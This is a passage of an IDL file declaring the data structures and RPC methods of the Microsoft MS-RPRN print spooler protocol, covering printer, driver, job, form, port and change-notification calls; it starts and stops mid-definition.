unsigned long Data1;
unsigned short Data2;
unsigned short Data3;
byte Data4[8];
} GUID,
UUID,
*PGUID;
typedef unsigned short LANGID;
typedef [context_handle] void* GDI_HANDLE;
typedef [context_handle] void* PRINTER_HANDLE;
typedef [handle] wchar_t* STRING_HANDLE;
typedef struct _FILETIME {
DWORD dwLowDateTime;
DWORD dwHighDateTime;
} FILETIME,
* PFILETIME,
* LPFILETIME;
typedef struct _SYSTEMTIME {
WORD wYear;
WORD wMonth;
WORD wDayOfWeek;
WORD wDay;
WORD wHour;
WORD wMinute;
WORD wSecond;
WORD wMilliseconds;
} SYSTEMTIME,
* PSYSTEMTIME;
typedef struct {
long cx;
long cy;
} SIZE;
typedef struct {
long left;
long top;
long right;
long bottom;
} RECTL;
// [MS-RPRN] common device state structure
typedef struct _devicemode {
wchar_t dmDeviceName[32];
unsigned short dmSpecVersion;
unsigned short dmDriverVersion;
unsigned short dmSize;
unsigned short dmDriverExtra;
DWORD dmFields;
short dmOrientation;
short dmPaperSize;
short dmPaperLength;
short dmPaperWidth;
short dmScale;
short dmCopies;
short dmDefaultSource;
short dmPrintQuality;
short dmColor;
short dmDuplex;
short dmYResolution;
short dmTTOption;
short dmCollate;
wchar_t dmFormName[32];
unsigned short reserved0;
DWORD reserved1;
DWORD reserved2;
DWORD reserved3;
DWORD dmNup;
DWORD reserved4;
DWORD dmICMMethod;
DWORD dmICMIntent;
DWORD dmMediaType;
DWORD dmDitherType;
DWORD reserved5;
DWORD reserved6;
DWORD reserved7;
DWORD reserved8;
} DEVMODE;
// [MS-RPRN] common info structures
typedef struct _DOC_INFO_1 {
[string] wchar_t* pDocName;
[string] wchar_t* pOutputFile;
[string] wchar_t* pDatatype;
} DOC_INFO_1;
typedef struct _DRIVER_INFO_1 {
[string] wchar_t* pName;
} DRIVER_INFO_1;
typedef struct _DRIVER_INFO_2 {
DWORD cVersion;
[string] wchar_t* pName;
[string] wchar_t* pEnvironment;
[string] wchar_t* pDriverPath;
[string] wchar_t* pDataFile;
[string] wchar_t* pConfigFile;
} DRIVER_INFO_2;
typedef struct _RPC_DRIVER_INFO_3 {
DWORD cVersion;
[string] wchar_t* pName;
[string] wchar_t* pEnvironment;
[string] wchar_t* pDriverPath;
[string] wchar_t* pDataFile;
[string] wchar_t* pConfigFile;
[string] wchar_t* pHelpFile;
[string] wchar_t* pMonitorName;
[string] wchar_t* pDefaultDataType;
DWORD cchDependentFiles;
[size_is(cchDependentFiles), unique]
wchar_t* pDependentFiles;
} RPC_DRIVER_INFO_3;
typedef struct _RPC_DRIVER_INFO_4 {
DWORD cVersion;
[string] wchar_t* pName;
[string] wchar_t* pEnvironment;
[string] wchar_t* pDriverPath;
[string] wchar_t* pDataFile;
[string] wchar_t* pConfigFile;
[string] wchar_t* pHelpFile;
[string] wchar_t* pMonitorName;
[string] wchar_t* pDefaultDataType;
DWORD cchDependentFiles;
[size_is(cchDependentFiles), unique]
wchar_t* pDependentFiles;
DWORD cchPreviousNames;
[size_is(cchPreviousNames), unique]
wchar_t* pszzPreviousNames;
} RPC_DRIVER_INFO_4;
typedef struct _RPC_DRIVER_INFO_6 {
DWORD cVersion;
[string] wchar_t* pName;
[string] wchar_t* pEnvironment;
[string] wchar_t* pDriverPath;
[string] wchar_t* pDataFile;
[string] wchar_t* pConfigFile;
[string] wchar_t* pHelpFile;
[string] wchar_t* pMonitorName;
[string] wchar_t* pDefaultDataType;
DWORD cchDependentFiles;
[size_is(cchDependentFiles), unique]
wchar_t* pDependentFiles;
DWORD cchPreviousNames;
[size_is(cchPreviousNames), unique]
wchar_t* pszzPreviousNames;
FILETIME ftDriverDate;
DWORDLONG dwlDriverVersion;
[string] wchar_t* pMfgName;
[string] wchar_t* pOEMUrl;
[string] wchar_t* pHardwareID;
[string] wchar_t* pProvider;
} RPC_DRIVER_INFO_6;
typedef struct _RPC_DRIVER_INFO_8 {
DWORD cVersion;
[string] wchar_t* pName;
[string] wchar_t* pEnvironment;
[string] wchar_t* pDriverPath;
[string] wchar_t* pDataFile;
[string] wchar_t* pConfigFile;
[string] wchar_t* pHelpFile;
[string] wchar_t* pMonitorName;
[string] wchar_t* pDefaultDataType;
DWORD cchDependentFiles;
[size_is(cchDependentFiles), unique]
wchar_t* pDependentFiles;
DWORD cchPreviousNames;
[size_is(cchPreviousNames), unique]
wchar_t* pszzPreviousNames;
FILETIME ftDriverDate;
DWORDLONG dwlDriverVersion;
[string] wchar_t* pMfgName;
[string] wchar_t* pOEMUrl;
[string] wchar_t* pHardwareID;
[string] wchar_t* pProvider;
[string] wchar_t* pPrintProcessor;
[string] wchar_t* pVendorSetup;
DWORD cchColorProfiles;
[size_is(cchColorProfiles), unique]
wchar_t* pszzColorProfiles;
[string] wchar_t* pInfPath;
DWORD dwPrinterDriverAttributes;
DWORD cchCoreDependencies;
[size_is(cchCoreDependencies), unique]
wchar_t* pszzCoreDriverDependencies;
FILETIME ftMinInboxDriverVerDate;
DWORDLONG dwlMinInboxDriverVerVersion;
} RPC_DRIVER_INFO_8;
typedef struct _FORM_INFO_1 {
DWORD Flags;
[string] wchar_t* pName;
SIZE Size;
RECTL ImageableArea;
} FORM_INFO_1;
typedef struct _RPC_FORM_INFO_2 {
DWORD Flags;
[string, unique] const wchar_t* pName;
SIZE Size;
RECTL ImageableArea;
[string, unique] const char* pKeyword;
DWORD StringType;
[string, unique] const wchar_t* pMuiDll;
DWORD dwResourceId;
[string, unique] const wchar_t* pDisplayName;
LANGID wLangID;
} RPC_FORM_INFO_2;
typedef struct _JOB_INFO_1 {
DWORD JobId;
[string] wchar_t* pPrinterName;
[string] wchar_t* pMachineName;
[string] wchar_t* pUserName;
[string] wchar_t* pDocument;
[string] wchar_t* pDatatype;
[string] wchar_t* pStatus;
DWORD Status;
DWORD Priority;
DWORD Position;
DWORD TotalPages;
DWORD PagesPrinted;
SYSTEMTIME Submitted;
} JOB_INFO_1;
typedef struct _JOB_INFO_2 {
DWORD JobId;
[string] wchar_t* pPrinterName;
[string] wchar_t* pMachineName;
[string] wchar_t* pUserName;
[string] wchar_t* pDocument;
[string] wchar_t* pNotifyName;
[string] wchar_t* pDatatype;
[string] wchar_t* pPrintProcessor;
[string] wchar_t* pParameters;
[string] wchar_t* pDriverName;
ULONG_PTR pDevMode;
[string] wchar_t* pStatus;
ULONG_PTR pSecurityDescriptor;
DWORD Status;
DWORD Priority;
DWORD Position;
DWORD StartTime;
DWORD UntilTime;
DWORD TotalPages;
DWORD Size;
SYSTEMTIME Submitted;
DWORD Time;
DWORD PagesPrinted;
} JOB_INFO_2;
typedef struct _JOB_INFO_3 {
DWORD JobId;
DWORD NextJobId;
DWORD Reserved;
} JOB_INFO_3;
typedef struct _JOB_INFO_4 {
DWORD JobId;
[string] wchar_t* pPrinterName;
[string] wchar_t* pMachineName;
[string] wchar_t* pUserName;
[string] wchar_t* pDocument;
[string] wchar_t* pNotifyName;
[string] wchar_t* pDatatype;
[string] wchar_t* pPrintProcessor;
[string] wchar_t* pParameters;
[string] wchar_t* pDriverName;
ULONG_PTR pDevMode;
[string] wchar_t* pStatus;
ULONG_PTR pSecurityDescriptor;
DWORD Status;
DWORD Priority;
DWORD Position;
DWORD StartTime;
DWORD UntilTime;
DWORD TotalPages;
DWORD Size;
SYSTEMTIME Submitted;
DWORD Time;
DWORD PagesPrinted;
long SizeHigh;
} JOB_INFO_4;
typedef struct _MONITOR_INFO_1 {
[string] wchar_t* pName;
} MONITOR_INFO_1;
typedef struct _MONITOR_INFO_2 {
[string] wchar_t* pName;
[string] wchar_t* pEnvironment;
[string] wchar_t* pDLLName;
} MONITOR_INFO_2;
typedef struct _PORT_INFO_1 {
[string] wchar_t* pPortName;
} PORT_INFO_1;
typedef struct _PORT_INFO_2 {
[string] wchar_t* pPortName;
[string] wchar_t* pMonitorName;
[string] wchar_t* pDescription;
DWORD fPortType;
DWORD Reserved;
} PORT_INFO_2;
typedef struct _PORT_INFO_3 {
DWORD dwStatus;
[string] wchar_t* pszStatus;
DWORD dwSeverity;
} PORT_INFO_3;
typedef struct _PORT_INFO_FF {
[string] wchar_t* pPortName;
DWORD cbMonitorData;
BYTE* pMonitorData;
} PORT_INFO_FF;
typedef struct _PRINTER_INFO_STRESS {
[string] wchar_t* pPrinterName;
[string] wchar_t* pServerName;
DWORD cJobs;
DWORD cTotalJobs;
DWORD cTotalBytes;
SYSTEMTIME stUpTime;
DWORD MaxcRef;
DWORD cTotalPagesPrinted;
DWORD dwGetVersion;
DWORD fFreeBuild;
DWORD cSpooling;
DWORD cMaxSpooling;
DWORD cRef;
DWORD cErrorOutOfPaper;
DWORD cErrorNotReady;
DWORD cJobError;
DWORD dwNumberOfProcessors;
DWORD dwProcessorType;
DWORD dwHighPartTotalBytes;
DWORD cChangeID;
DWORD dwLastError;
DWORD Status;
DWORD cEnumerateNetworkPrinters;
DWORD cAddNetPrinters;
unsigned short wProcessorArchitecture;
unsigned short wProcessorLevel;
DWORD cRefIC;
DWORD dwReserved2;
DWORD dwReserved3;
} PRINTER_INFO_STRESS;
typedef struct _PRINTER_INFO_1 {
DWORD Flags;
[string] wchar_t* pDescription;
[string] wchar_t* pName;
[string] wchar_t* pComment;
} PRINTER_INFO_1;
typedef struct _PRINTER_INFO_2 {
[string] wchar_t* pServerName;
[string] wchar_t* pPrinterName;
[string] wchar_t* pShareName;
[string] wchar_t* pPortName;
[string] wchar_t* pDriverName;
[string] wchar_t* pComment;
[string] wchar_t* pLocation;
ULONG_PTR pDevMode;
[string] wchar_t* pSepFile;
[string] wchar_t* pPrintProcessor;
[string] wchar_t* pDatatype;
[string] wchar_t* pParameters;
ULONG_PTR pSecurityDescriptor;
DWORD Attributes;
DWORD Priority;
DWORD DefaultPriority;
DWORD StartTime;
DWORD UntilTime;
DWORD Status;
DWORD cJobs;
DWORD AveragePPM;
} PRINTER_INFO_2;
typedef struct _PRINTER_INFO_3 {
ULONG_PTR pSecurityDescriptor;
} PRINTER_INFO_3;
typedef struct _PRINTER_INFO_4 {
[string] wchar_t* pPrinterName;
[string] wchar_t* pServerName;
DWORD Attributes;
} PRINTER_INFO_4;
typedef struct _PRINTER_INFO_5 {
[string] wchar_t* pPrinterName;
[string] wchar_t* pPortName;
DWORD Attributes;
DWORD DeviceNotSelectedTimeout;
DWORD TransmissionRetryTimeout;
} PRINTER_INFO_5;
typedef struct _PRINTER_INFO_6 {
DWORD dwStatus;
} PRINTER_INFO_6;
typedef struct _PRINTER_INFO_7 {
[string] wchar_t* pszObjectGUID;
DWORD dwAction;
} PRINTER_INFO_7;
typedef struct _PRINTER_INFO_8 {
ULONG_PTR pDevMode;
} PRINTER_INFO_8;
typedef struct _PRINTER_INFO_9 {
ULONG_PTR pDevMode;
} PRINTER_INFO_9;
typedef struct _SPLCLIENT_INFO_1 {
DWORD dwSize;
[string] wchar_t* pMachineName;
[string] wchar_t* pUserName;
DWORD dwBuildNum;
DWORD dwMajorVersion;
DWORD dwMinorVersion;
unsigned short wProcessorArchitecture;
} SPLCLIENT_INFO_1;
typedef struct _SPLCLIENT_INFO_2 {
LONG_PTR notUsed;
} SPLCLIENT_INFO_2;
typedef struct _SPLCLIENT_INFO_3 {
unsigned int cbSize;
DWORD dwFlags;
DWORD dwSize;
[string] wchar_t* pMachineName;
[string] wchar_t* pUserName;
DWORD dwBuildNum;
DWORD dwMajorVersion;
DWORD dwMinorVersion;
unsigned short wProcessorArchitecture;
unsigned __int64 hSplPrinter;
} SPLCLIENT_INFO_3;
// [MS-RPRN] common info container structures
typedef struct _DEVMODE_CONTAINER {
DWORD cbBuf;
[size_is(cbBuf), unique] BYTE* pDevMode;
} DEVMODE_CONTAINER;
typedef struct _DOC_INFO_CONTAINER {
DWORD Level;
[switch_is(Level)] union {
[case(1)]
DOC_INFO_1* pDocInfo1;
} DocInfo;
} DOC_INFO_CONTAINER;
typedef struct _DRIVER_CONTAINER {
DWORD Level;
[switch_is(Level)] union {
[case(1)]
DRIVER_INFO_1* pNotUsed;
[case(2)]
DRIVER_INFO_2* Level2;
[case(3)]
RPC_DRIVER_INFO_3* Level3;
[case(4)]
RPC_DRIVER_INFO_4* Level4;
[case(6)]
RPC_DRIVER_INFO_6* Level6;
[case(8)]
RPC_DRIVER_INFO_8* Level8;
} DriverInfo;
} DRIVER_CONTAINER;
typedef struct _FORM_CONTAINER {
DWORD Level;
[switch_is(Level)] union {
[case(1)]
FORM_INFO_1* pFormInfo1;
[case(2)]
RPC_FORM_INFO_2* pFormInfo2;
} FormInfo;
} FORM_CONTAINER;
typedef struct _JOB_CONTAINER {
DWORD Level;
[switch_is(Level)] union {
[case(1)]
JOB_INFO_1* Level1;
[case(2)]
JOB_INFO_2* Level2;
[case(3)]
JOB_INFO_3* Level3;
[case(4)]
JOB_INFO_4* Level4;
} JobInfo;
} JOB_CONTAINER;
typedef struct _MONITOR_CONTAINER {
DWORD Level;
[switch_is(Level)] union {
[case(1)]
MONITOR_INFO_1* pMonitorInfo1;
[case(2)]
MONITOR_INFO_2* pMonitorInfo2;
} MonitorInfo;
} MONITOR_CONTAINER;
typedef struct _PORT_CONTAINER {
DWORD Level;
[switch_is(0x00FFFFFF & Level)]
union {
[case(1)]
PORT_INFO_1* pPortInfo1;
[case(2)]
PORT_INFO_2* pPortInfo2;
[case(3)]
PORT_INFO_3* pPortInfo3;
[case(0x00FFFFFF)]
PORT_INFO_FF* pPortInfoFF;
} PortInfo;
} PORT_CONTAINER;
typedef struct _PORT_VAR_CONTAINER {
DWORD cbMonitorData;
[size_is(cbMonitorData), unique, disable_consistency_check] BYTE*
pMonitorData;
} PORT_VAR_CONTAINER;
typedef struct _PRINTER_CONTAINER {
DWORD Level;
[switch_is(Level)] union {
[case(0)]
PRINTER_INFO_STRESS* pPrinterInfoStress;
[case(1)]
PRINTER_INFO_1* pPrinterInfo1;
[case(2)]
PRINTER_INFO_2* pPrinterInfo2;
[case(3)]
PRINTER_INFO_3* pPrinterInfo3;
[case(4)]
PRINTER_INFO_4* pPrinterInfo4;
[case(5)]
PRINTER_INFO_5* pPrinterInfo5;
[case(6)]
PRINTER_INFO_6* pPrinterInfo6;
[case(7)]
PRINTER_INFO_7* pPrinterInfo7;
[case(8)]
PRINTER_INFO_8* pPrinterInfo8;
[case(9)]
PRINTER_INFO_9* pPrinterInfo9;
} PrinterInfo;
} PRINTER_CONTAINER;
typedef struct SECURITY_CONTAINER {
DWORD cbBuf;
[size_is(cbBuf), unique] BYTE* pSecurity;
} SECURITY_CONTAINER;
typedef struct _SPLCLIENT_CONTAINER {
DWORD Level;
[switch_is(Level)] union {
[case(1)]
SPLCLIENT_INFO_1* pClientInfo1;
[case(2)]
SPLCLIENT_INFO_2* pNotUsed1;
[case(3)]
SPLCLIENT_INFO_3* pNotUsed2;
} ClientInfo;
} SPLCLIENT_CONTAINER;
typedef struct _STRING_CONTAINER {
DWORD cbBuf;
[size_is(cbBuf / 2), unique] WCHAR* pszString;
} STRING_CONTAINER;
typedef struct _SYSTEMTIME_CONTAINER {
DWORD cbBuf;
SYSTEMTIME* pSystemTime;
} SYSTEMTIME_CONTAINER;
typedef struct _RPC_V2_NOTIFY_OPTIONS_TYPE {
unsigned short Type;
unsigned short Reserved0;
DWORD Reserved1;
DWORD Reserved2;
DWORD Count;
[size_is(Count), unique] unsigned short* pFields;
} RPC_V2_NOTIFY_OPTIONS_TYPE;
typedef struct _RPC_V2_NOTIFY_OPTIONS {
DWORD Version;
DWORD Reserved;
DWORD Count;
[size_is(Count), unique] RPC_V2_NOTIFY_OPTIONS_TYPE* pTypes;
} RPC_V2_NOTIFY_OPTIONS;
typedef enum {
kInvalidJobState = 0,
kLogJobPrinted,
kLogJobRendered,
kLogJobError,
kLogJobPipelineError,
kLogOfflineFileFull
} EBranchOfficeJobEventType;
typedef struct {
DWORD Status;
[string] wchar_t* pDocumentName;
[string] wchar_t* pUserName;
[string] wchar_t* pMachineName;
[string] wchar_t* pPrinterName;
[string] wchar_t* pPortName;
LONGLONG Size;
DWORD TotalPages;
} RPC_BranchOfficeJobDataPrinted;
typedef struct {
LONGLONG Size;
DWORD ICMMethod;
short Color;
short PrintQuality;
short YResolution;
short Copies;
short TTOption;
} RPC_BranchOfficeJobDataRendered;
typedef struct {
DWORD LastError;
[string] wchar_t* pDocumentName;
[string] wchar_t* pUserName;
[string] wchar_t* pPrinterName;
[string] wchar_t* pDataType;
LONGLONG TotalSize;
LONGLONG PrintedSize;
DWORD TotalPages;
DWORD PrintedPages;
[string] wchar_t* pMachineName;
[string] wchar_t* pJobError;
[string] wchar_t* pErrorDescription;
} RPC_BranchOfficeJobDataError;
typedef struct {
[string] wchar_t* pDocumentName;
[string] wchar_t* pPrinterName;
[string] wchar_t* pExtraErrorInfo;
} RPC_BranchOfficeJobDataPipelineFailed;
typedef struct {
[string] wchar_t* pMachineName;
} RPC_BranchOfficeLogOfflineFileFull;
typedef struct {
EBranchOfficeJobEventType eEventType;
DWORD JobId;
[switch_type(EBranchOfficeJobEventType), switch_is(eEventType)]
union {
[case(kLogJobPrinted)]
RPC_BranchOfficeJobDataPrinted LogJobPrinted;
[case(kLogJobRendered)]
RPC_BranchOfficeJobDataRendered LogJobRendered;
[case(kLogJobError)]
RPC_BranchOfficeJobDataError LogJobError;
[case(kLogJobPipelineError)]
RPC_BranchOfficeJobDataPipelineFailed LogPipelineFailed;
[case(kLogOfflineFileFull)]
RPC_BranchOfficeLogOfflineFileFull LogOfflineFileFull;
} JobInfo;
} RPC_BranchOfficeJobData;
typedef struct {
DWORD cJobDataEntries;
[size_is(cJobDataEntries), unique] RPC_BranchOfficeJobData JobData[];
} RPC_BranchOfficeJobDataContainer;
// [MS-RPRN] methods
DWORD
RpcEnumPrinters(
[in] DWORD Flags,
[in, string, unique] STRING_HANDLE Name,
[in] DWORD Level,
[in, out, unique, size_is(cbBuf), disable_consistency_check] BYTE*
pPrinterEnum,
[in] DWORD cbBuf,
[out] DWORD* pcbNeeded,
[out] DWORD* pcReturned
);
DWORD
RpcOpenPrinter(
[in, string, unique] STRING_HANDLE pPrinterName,
[out] PRINTER_HANDLE* pHandle,
[in, string, unique] wchar_t* pDatatype,
[in] DEVMODE_CONTAINER* pDevModeContainer,
[in] DWORD AccessRequired
);
DWORD
RpcSetJob(
[in] PRINTER_HANDLE hPrinter,
[in] DWORD JobId,
[in, unique] JOB_CONTAINER* pJobContainer,
[in] DWORD Command
);
DWORD
RpcGetJob(
[in] PRINTER_HANDLE hPrinter,
[in] DWORD JobId,
[in] DWORD Level,
[in, out, unique, size_is(cbBuf), disable_consistency_check] BYTE*
pJob,
[in] DWORD cbBuf,
[out] DWORD* pcbNeeded
);
DWORD
RpcEnumJobs(
[in] PRINTER_HANDLE hPrinter,
[in] DWORD FirstJob,
[in] DWORD NoJobs,
[in] DWORD Level,
[in, out, unique, size_is(cbBuf), disable_consistency_check] BYTE*
pJob,
[in] DWORD cbBuf,
[out] DWORD* pcbNeeded,
[out] DWORD* pcReturned
);
DWORD
RpcAddPrinter(
[in, string, unique] STRING_HANDLE pName,
[in] PRINTER_CONTAINER* pPrinterContainer,
[in] DEVMODE_CONTAINER* pDevModeContainer,
[in] SECURITY_CONTAINER* pSecurityContainer,
[out] PRINTER_HANDLE* pHandle
);
DWORD
RpcDeletePrinter(
[in] PRINTER_HANDLE hPrinter
);
DWORD
RpcSetPrinter(
[in] PRINTER_HANDLE hPrinter,
[in] PRINTER_CONTAINER* pPrinterContainer,
[in] DEVMODE_CONTAINER* pDevModeContainer,
[in] SECURITY_CONTAINER* pSecurityContainer,
[in] DWORD Command
);
DWORD
RpcGetPrinter(
[in] PRINTER_HANDLE hPrinter,
[in] DWORD Level,
[in, out, unique, size_is(cbBuf), disable_consistency_check] BYTE*
pPrinter,
[in] DWORD cbBuf,
[out] DWORD* pcbNeeded
);
DWORD
RpcAddPrinterDriver(
[in, string, unique] STRING_HANDLE pName,
[in] DRIVER_CONTAINER* pDriverContainer
);
DWORD
RpcEnumPrinterDrivers(
[in, string, unique] STRING_HANDLE pName,
[in, string, unique] wchar_t* pEnvironment,
[in] DWORD Level,
[in, out, unique, size_is(cbBuf), disable_consistency_check] BYTE*
pDrivers,
[in] DWORD cbBuf,
[out] DWORD* pcbNeeded,
[out] DWORD* pcReturned
);
DWORD
RpcGetPrinterDriver(
[in] PRINTER_HANDLE hPrinter,
[in, string, unique] wchar_t* pEnvironment,
[in] DWORD Level,
[in, out, unique, size_is(cbBuf), disable_consistency_check] BYTE*
pDriver,
[in] DWORD cbBuf,
[out] DWORD* pcbNeeded
);
DWORD
RpcGetPrinterDriverDirectory(
[in, string, unique] STRING_HANDLE pName,
[in, string, unique] wchar_t* pEnvironment,
[in] DWORD Level,
[in, out, unique, size_is(cbBuf), disable_consistency_check] BYTE*
pDriverDirectory,
[in] DWORD cbBuf,
[out] DWORD* pcbNeeded
);
DWORD
RpcDeletePrinterDriver(
[in, string, unique] STRING_HANDLE pName,
[in, string] wchar_t* pEnvironment,
[in, string] wchar_t* pDriverName
);
DWORD
RpcAddPrintProcessor(
[in, string, unique] STRING_HANDLE pName,
[in, string] wchar_t* pEnvironment,
[in, string] wchar_t* pPathName,
[in, string] wchar_t* pPrintProcessorName
);
DWORD
RpcEnumPrintProcessors(
[in, string, unique] STRING_HANDLE pName,
[in, string, unique] wchar_t* pEnvironment,
[in] DWORD Level,
[in, out, unique, size_is(cbBuf), disable_consistency_check] BYTE*
pPrintProcessorInfo,
[in] DWORD cbBuf,
[out] DWORD* pcbNeeded,
[out] DWORD* pcReturned
);
DWORD
RpcGetPrintProcessorDirectory(
[in, string, unique] STRING_HANDLE pName,
[in, string, unique] wchar_t* pEnvironment,
[in] DWORD Level,
[in, out, unique, size_is(cbBuf), disable_consistency_check] BYTE*
pPrintProcessorDirectory,
[in] DWORD cbBuf,
[out] DWORD* pcbNeeded
);
DWORD
RpcStartDocPrinter(
[in] PRINTER_HANDLE hPrinter,
[in] DOC_INFO_CONTAINER* pDocInfoContainer,
[out] DWORD* pJobId
);
DWORD
RpcStartPagePrinter(
[in] PRINTER_HANDLE hPrinter
);
DWORD
RpcWritePrinter(
[in] PRINTER_HANDLE hPrinter,
[in, size_is(cbBuf)] BYTE* pBuf,
[in] DWORD cbBuf,
[out] DWORD* pcWritten
);
DWORD
RpcEndPagePrinter(
[in] PRINTER_HANDLE hPrinter
);
DWORD
RpcAbortPrinter(
[in] PRINTER_HANDLE hPrinter
);
DWORD
RpcReadPrinter(
[in] PRINTER_HANDLE hPrinter,
[out, size_is(cbBuf)] BYTE* pBuf,
[in] DWORD cbBuf,
[out] DWORD* pcNoBytesRead
);
DWORD
RpcEndDocPrinter(
[in] PRINTER_HANDLE hPrinter
);
DWORD
RpcAddJob(
[in] PRINTER_HANDLE hPrinter,
[in] DWORD Level,
[in, out, unique, size_is(cbBuf), disable_consistency_check] BYTE*
pAddJob,
[in] DWORD cbBuf,
[out] DWORD* pcbNeeded
);
DWORD
RpcScheduleJob(
[in] PRINTER_HANDLE hPrinter,
[in] DWORD JobId
);
DWORD
RpcGetPrinterData(
[in] PRINTER_HANDLE hPrinter,
[in, string] wchar_t* pValueName,
[out] DWORD* pType,
[out, size_is(nSize)] BYTE* pData,
[in] DWORD nSize,
[out] DWORD* pcbNeeded
);
DWORD
RpcSetPrinterData(
[in] PRINTER_HANDLE hPrinter,
[in, string] wchar_t* pValueName,
[in] DWORD Type,
[in, size_is(cbData)] BYTE* pData,
[in] DWORD cbData
);
DWORD
RpcWaitForPrinterChange(
[in] PRINTER_HANDLE hPrinter,
[in] DWORD Flags,
[out] DWORD* pFlags
);
DWORD
RpcClosePrinter(
[in, out] PRINTER_HANDLE* phPrinter
);
DWORD
RpcAddForm(
[in] PRINTER_HANDLE hPrinter,
[in] FORM_CONTAINER* pFormInfoContainer
);
DWORD
RpcDeleteForm(
[in] PRINTER_HANDLE hPrinter,
[in, string] wchar_t* pFormName
);
DWORD
RpcGetForm(
[in] PRINTER_HANDLE hPrinter,
[in, string] wchar_t* pFormName,
[in] DWORD Level,
[in, out, unique, size_is(cbBuf), disable_consistency_check] BYTE*
pForm,
[in] DWORD cbBuf,
[out] DWORD* pcbNeeded
);
DWORD
RpcSetForm(
[in] PRINTER_HANDLE hPrinter,
[in, string] wchar_t* pFormName,
[in] FORM_CONTAINER* pFormInfoContainer
);
DWORD
RpcEnumForms(
[in] PRINTER_HANDLE hPrinter,
[in] DWORD Level,
[in, out, unique, size_is(cbBuf), disable_consistency_check] BYTE*
pForm,
[in] DWORD cbBuf,
[out] DWORD* pcbNeeded,
[out] DWORD* pcReturned
);
DWORD
RpcEnumPorts(
[in, string, unique] STRING_HANDLE pName,
[in] DWORD Level,
[in, out, unique, size_is(cbBuf), disable_consistency_check] BYTE*
pPort,
[in] DWORD cbBuf,
[out] DWORD* pcbNeeded,
[out] DWORD* pcReturned
);
DWORD
RpcEnumMonitors(
[in, string, unique] STRING_HANDLE pName,
[in] DWORD Level,
[in, out, unique, size_is(cbBuf), disable_consistency_check] BYTE*
pMonitor,
[in] DWORD cbBuf,
[out] DWORD* pcbNeeded,
[out] DWORD* pcReturned
);
void
Opnum37NotUsedOnWire();
void
Opnum38NotUsedOnWire();
DWORD
RpcDeletePort(
[in, string, unique] STRING_HANDLE pName,
[in] ULONG_PTR hWnd,
[in, string] wchar_t* pPortName
);
DWORD
RpcCreatePrinterIC(
[in] PRINTER_HANDLE hPrinter,
[out] GDI_HANDLE* pHandle,
[in] DEVMODE_CONTAINER* pDevModeContainer
);
DWORD
RpcPlayGdiScriptOnPrinterIC(
[in] GDI_HANDLE hPrinterIC,
[in, size_is(cIn)] BYTE* pIn,
[in] DWORD cIn,
[out, size_is(cOut)] BYTE* pOut,
[in] DWORD cOut,
[in] DWORD ul
);
DWORD
RpcDeletePrinterIC(
[in, out] GDI_HANDLE* phPrinterIC
);
void
Opnum43NotUsedOnWire();
void
Opnum44NotUsedOnWire();
void
Opnum45NotUsedOnWire();
DWORD
RpcAddMonitor(
[in, string, unique] STRING_HANDLE Name,
[in] MONITOR_CONTAINER* pMonitorContainer
);
DWORD
RpcDeleteMonitor(
[in, string, unique] STRING_HANDLE Name,
[in, string, unique] wchar_t* pEnvironment,
[in, string] wchar_t* pMonitorName
);
DWORD
RpcDeletePrintProcessor(
[in, string, unique] STRING_HANDLE Name,
[in, string, unique] wchar_t* pEnvironment,
[in, string] wchar_t* pPrintProcessorName
);
void
Opnum49NotUsedOnWire();
void
Opnum50NotUsedOnWire();
DWORD
RpcEnumPrintProcessorDatatypes(
[in, string, unique] STRING_HANDLE pName,
[in, string, unique] wchar_t* pPrintProcessorName,
[in] DWORD Level,
[in, out, unique, size_is(cbBuf), disable_consistency_check] BYTE*
pDatatypes,
[in] DWORD cbBuf,
[out] DWORD* pcbNeeded,
[out] DWORD* pcReturned
);
DWORD
RpcResetPrinter(
[in] PRINTER_HANDLE hPrinter,
[in, string, unique] wchar_t* pDatatype,
[in] DEVMODE_CONTAINER* pDevModeContainer
);
DWORD
RpcGetPrinterDriver2(
[in] PRINTER_HANDLE hPrinter,
[in, string, unique] wchar_t* pEnvironment,
[in] DWORD Level,
[in, out, unique, size_is(cbBuf), disable_consistency_check] BYTE*
pDriver,
[in] DWORD cbBuf,
[out] DWORD* pcbNeeded,
[in] DWORD dwClientMajorVersion,
[in] DWORD dwClientMinorVersion,
[out] DWORD* pdwServerMaxVersion,
[out] DWORD* pdwServerMinVersion
);
void
Opnum54NotUsedOnWire();
void
Opnum55NotUsedOnWire();
DWORD
RpcFindClosePrinterChangeNotification(
[in] PRINTER_HANDLE hPrinter
);
void
Opnum57NotUsedOnWire();
DWORD
RpcReplyOpenPrinter(
[in, string] STRING_HANDLE pMachine,
[out] PRINTER_HANDLE* phPrinterNotify,
[in] DWORD dwPrinterRemote,
[in] DWORD dwType,
[in, range(0, 512)] DWORD cbBuffer,
[in, unique, size_is(cbBuffer), disable_consistency_check] BYTE*
pBuffer
);
DWORD
RpcRouterReplyPrinter(
[in] PRINTER_HANDLE hNotify,
[in] DWORD fdwFlags,
[in, range(0, 512)] DWORD cbBuffer,
[in, unique, size_is(cbBuffer), disable_consistency_check] BYTE*
pBuffer
);
DWORD
RpcReplyClosePrinter(
[in, out] PRINTER_HANDLE* phNotify
);
DWORD
RpcAddPortEx(
[in, string, unique] STRING_HANDLE pName,
[in] PORT_CONTAINER* pPortContainer,
[in] PORT_VAR_CONTAINER* pPortVarContainer,
[in, string] wchar_t* pMonitorName
);
DWORD
RpcRemoteFindFirstPrinterChangeNotification(
[in] PRINTER_HANDLE hPrinter,
[in] DWORD fdwFlags,
[in] DWORD fdwOptions,
[in, string, unique] wchar_t* pszLocalMachine,
[in] DWORD dwPrinterLocal,
[in, range(0, 512)] DWORD cbBuffer,
[in, out, unique, size_is(cbBuffer), disable_consistency_check]
BYTE* pBuffer
);
void
Opnum63NotUsedOnWire();
void
Opnum64NotUsedOnWire();
DWORD
RpcRemoteFindFirstPrinterChangeNotificationEx(
[in] PRINTER_HANDLE hPrinter,
[in] DWORD fdwFlags,
[in] DWORD fdwOptions,
[in, string, unique] wchar_t* pszLocalMachine,
[in] DWORD dwPrinterLocal,
[in, unique] RPC_V2_NOTIFY_OPTIONS* pOptions
);
DWORD
RpcRouterReplyPrinterEx(
[in] PRINTER_HANDLE hNotify,
[in] DWORD dwColor,
[in] DWORD fdwFlags,
[out] DWORD* pdwResult,
[in] DWORD dwReplyType,
[in] long Reply
);
DWORD
RpcRouterRefreshPrinterChangeNotification(
[in] PRINTER_HANDLE hPrinter,
[in] DWORD dwColor,
[in, unique] RPC_V2_NOTIFY_OPTIONS* pOptions,
[out] long* ppInfo
);
void
Opnum68NotUsedOnWire();
DWORD
